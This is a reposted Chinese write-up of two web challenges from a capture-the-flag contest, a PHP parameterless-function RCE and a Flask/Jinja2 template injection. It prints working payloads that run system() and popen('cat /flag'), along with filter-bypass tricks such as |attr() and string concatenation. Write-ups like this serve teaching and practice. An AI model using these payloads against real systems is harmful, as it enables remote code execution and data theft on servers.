栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

长安“战疫”网络安全卫士守护赛 WriteUp

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

长安“战疫”网络安全卫士守护赛 WriteUp

1、RCE_No_Para

参考一篇比较详细的bloghttps://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#%E6%B3%951%EF%BC%9Agetenv

源码


查看可以利用的全局变量

array(4) {
  ["_GET"]=>
  array(1) {
    ["code"]=>
    string(29) "var_dump(get_defined_vars());"
  }
  ["_POST"]=>
  array(0) {
  }
  ["_cookie"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
}

通过$_GET传参进行rce

payload

?code=eval(array_rand(array_flip(current(get_defined_vars()))));&$hacker=system('cat+/var/www/html/flag.php');
2、flask

注入点太难找了–_--




满足不发生重定向的条件,在admin后面传参即可发现提示,.js?的条件让url看着奇怪

http://21caa490.lxctf.net/admin?.js?
    hello admin
    

判断有无模板注入

/admin?name={{2*2}}.js?

计算得到结果,存在模板注入

过滤__ "" [] subclasses .

1、用编码绕过过滤__

x5fx5fclassx5fx5f

2、使用原生 JinJa2 函数 |attr()绕过过滤.

3、字符串拼接绕过过滤subclasses

4、用__getitem__绕过过滤[]

最终的payload

{{()|attr("x5fx5fclassx5fx5f")|attr("x5fx5fbasex5fx5f")|attr("x5fx5fsub"+"classesx5fx5f")()|attr("x5fx5fgetitemx5fx5f")(118)|attr("x5fx5finitx5fx5f")|attr("x5fx5fglobalsx5fx5f")|attr("x5fx5fgetitemx5fx5f")('popen')('cat /flag')|attr("read")()}}.js?
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/713831.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号